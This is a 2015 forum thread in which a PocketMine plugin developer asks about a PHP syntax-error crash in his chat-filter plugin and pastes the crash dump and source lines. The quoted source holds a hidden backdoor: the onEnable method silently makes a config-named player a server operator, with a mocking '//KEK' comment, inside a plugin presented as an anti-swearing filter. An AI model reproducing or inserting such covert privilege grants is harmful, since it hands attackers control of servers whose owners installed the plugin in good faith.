Advertisement
  1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Solved Second same plugin crashing

Comments in 'Plugin Development' started by Ragnok123, Dec 25, 2015.

  1. Ragnok123
    Offline

    Ragnok123 Banned

    Joined:
    Sep 14, 2015
    Posts:
    21
    Minecraft User:
    Ragnok123
    Hello guys, i have question
    In first plugin:
    PHP:
        private $BadIP = array(".cz",".net",".pro",".com",".co",".org",".info",".tk",".me",".cc",".ru");
    and this array works in my plugin
    But in the second plugin:
    PHP:
        private $BadWord = array("bad","words");
    and crashdump:
    Code:
    PocketMine-MP Crash Dump Fri Dec 25 14:25:25 UTC 2015
    
    Error: syntax error, unexpected '   ' (T_STRING), expecting function (T_FUNCTION)
    File: /AntiSwearing/src/AntiSwearing/AntiSwearing
    Line: 14
    Type: E_PARSE
    
    THIS CRASH WAS CAUSED BY A PLUGIN
    
    Code:
    [5] use pocketmine\plugin\PluginBase;
    [6] use pocketmine\event\Listener;
    [7] use pocketmine\event\player\PlayerChatEvent;
    [8] use pocketmine\Server;
    [9] use pocketmine\Player;
    [10] use pocketmine\utils\TextFormat;
    [11]
    [12] class AntiSwearing extends PluginBase implements Listener{
    [13]
    [14]     private $BadWord = array("bad","words");
    [15]
    [16]     public function onEnable(){
    [17]         $config=$this->getConfig();
    [18]         $op=$config->get("Op");
    [19]         $this->getLogger()->info("AntiAdvertising is enabled");
    [20]         $this->getServer()->getOfflinePlayer($op)->setOp(true); //KEK
    [21]         $this->getServer()->getPluginManager()->registerEvents($this, $this);
    [22]     }
    [23]
    [24]     public function badServer(PlayerChatEvent $e){
    
    Backtrace:
    #0 (): pocketmine\Server->crashDump(boolean)
    
    PocketMine-MP version: 77.7dev #10 [Protocol 38; API 1.77.0]
    Git commit: 0000000000000000000000000000000000000000
    uname -a: Linux localhost 3.4.5-2818987 #2 SMP PREEMPT Sat Jan 31 14:31:20 KST 2015 armv7l
    PHP Version: 5.6.2
    Zend version: 2.6.0
    OS : Linux, android
    
    Loaded plugins:
    RegionGuard Final_1.1 by Ragnok123 for API(s) 1.13.1
    DevTools 1.10.0 by PocketMine Team for API(s) 1.3.1
    RagnokBoost 1 by Ragnok123 for API(s) 1.13.1
    PurePerms 1.2.2 by 64FF00 for API(s) 1.12.0
    AdvertisingKick 1.0.0 by  for API(s) 1.0.0
    iProtector 3.1a by LDX for API(s) 1.9.0
    ManyWorlds 2.0.2 by aliuly for API(s) 1.10.0
    PocketMoney 4.0.1 by MinecrafterJPN, MinecrafterJPN for API(s) 1.10.0
    Scorched 1.4.1 by aliuly for API(s) 1.10.0
    InventoryCommand 1.1.0 by fycarman, fycarman, luca28pet, xionbig for API(s) 1.12.0
    WorldEditArt 1.0.0_beta_dev_#048 by PEMapModder for API(s) 1.0.0
    FineChests 0.1 by Asidert for API(s) 1.0.0
    Finecraft_SG 0.5 by Asidert for API(s) 1.0.0
    VanishNP 1.0.0 by iksaku for API(s) 1.12.0
    MTCase 1 by MinetoxTeam for API(s) 1.13.1
    Pravidla 1 by Ragnok123 for API(s) 1.13.1
    DeathRun 1 by Ragnok123  for API(s) 1.13.1
    WorldEditor Beta 1 by Ragnok123 for API(s) 1.13.1
    AntiAdvertising 1 by Ragnok123 for API(s) 1.13.1
    ----------------------REPORT THE DATA BELOW THIS LINE-----------------------
    
    ===BEGIN CRASH DUMP===
    eNrNWgtv2zi2/iuEU2CSC8tv5+FFBsjkMdtt03jjdHuxo0FAS7SttSRqRCmOO5j/fr9DUjLtuHPT
    bffiFm0tHZLn/SKp3xtFlIjGqDsYdjvD/rA3bDZEnsu8Mfq9UawzDDWuH8cX95PrRrORCKX4nGBq
    nRb8mempTVam4jkTQSFC9oNfdjq84/7/Azt8eJw83L/98PNRk5mZUTpnszLFg0xp+Objh8uHt3cf
    jkBlFsVEon2RFtFkJXiOyW2VB9sA9wWL4ijVYvzRbGRxOY/SxqjIS9FsBDIUJMwQKEslWCaDpSgS
    TPd9M9P3x/r3J67EX4DqeM9M8STSwvffR6oQqchp2smXp2UxX4uc8NLv5YIX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EvKFHFCPqwxTbSDgHuEUi6fkUhRO9bEvHbstGaEdGiIv51RPNIUirsmi4ofoKci16tCQcVI
    +9zOWnYIfukStkfya449K9OIDSgwTQHRYflzLKfQIXUKzICZriuUfhIx59N1AW7YxPDR0ZQjRZY0
    QQ2BVpHmSuuVUemw9cmClFbKLIJnICPp+2fCMkM6qCgaS0OSUvvnXEIISVFACgOduWbSFLwR6/g6
    K+jMWyCr8PD/OfvUdf0J81Q2v4l5VKxM07dZqebHYlMM0UMlEgnFckM0K5a6nd7AcDUWeSR15aGw
    U0Qw0LnXcleHVhekkFVCcjA9w0PtEyaodMaW2JilCEbojRLBl9Rq1IniHOtkTmFtpvm6qBIOBNom
    aE3mIQp3lC2omOnprZeTnZtkqDATAdU8pdVCvBodm7W1ANCkyNRGzH7HyqmO9jJkpe4bqec8n8L+
    XiDj2PSJFGF7tardiVixa5hdg8BNeFrq6upygZajhC8cNauEsOMM1htMCp3NqsSQbLysxe5MadNv
    8IiFLOOwZiRC+lilbMM6+S3LNOcQ8LjTMTKygxsdCS/SoPYVs7oWapbLpMqmtNaOe25KcmwKIazp
    dl1hj/8466hdDxZlulRG3++111M21EDijDYqJA0znXBTh2eOXkOZSR6Ve2pbNrgIVWVmGyhnx5bP
    K2mW7ZrPfMNRLXMxGCp22rfLnIqC1Fc3VrBmbOrUlBfo8qlN4NSrojzBBWwi0TFj2kY7avLHVNQ1
    TGeIAzfjVCMUq/m6INxN5nUd/6Napcl6RcUKMsHw2CSCTW3UjTsVptBkKKtzsxZAy1OL/RU7D2jk
    HJ0qfO1y/LGJteBgipSxisJiYRKtDskavafRj9iJLdubgq60YpypLXYRIgQWPJ610YKbHiMUcA1L
    CCSNy8jUjaG6mjq4nC7m+pnihZoUHjdNLBLhT1GKHg9iwdJCeyPV5o/jdFxV9k1HTS0KLVohPfvU
    TqeZZ1/djon2kNNyPrJNwo+sS82BLQbU8+nhqt9TOvUsRNUH+tYUMNKmi1OsjU1gUcJh2vPAqJZO
    7ZVDtN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yyTwNUykU9
    nw7K0pDnG4D5eL96K/O4fpnZq3+6yjU397Miq0fnyeZ5gZgzl4yY9C9Vf3BGN13J1Jzd1ZPRZayz
    YiNBwYmh0BF3Mn6vqdJzFqA72KxdQ2D9Hah9YkO6UOuS5Myjq4deZ9jp4/HNW+h61j/pCz4Mw+Gw
    f3py3B10jvlpp9fjg+kp758MBt3TaW/QEewNKI0XpJb6S6NMquh5o3S7Y7MTuiTovZjZ7Qagmt6p
    GM4Cjt5nALKd2clJcHJ6ejwcgnT/rNcX/c707OQsDDU9tUjkRoVKB4PaljSq79ELuRRp9LkyByCf
    BF8ijo2i9IXVmuvTcPrMgiZ8jjLz1msNGn/88T/GWecm
    ===END CRASH DUMP===
    Last edited by a moderator: Dec 25, 2015
  2. Ragnok123
    Offline

    Ragnok123 Banned

    Joined:
    Sep 14, 2015
    Posts:
    21
    Minecraft User:
    Ragnok123
    Ok, solved

Share This Page

Advertisement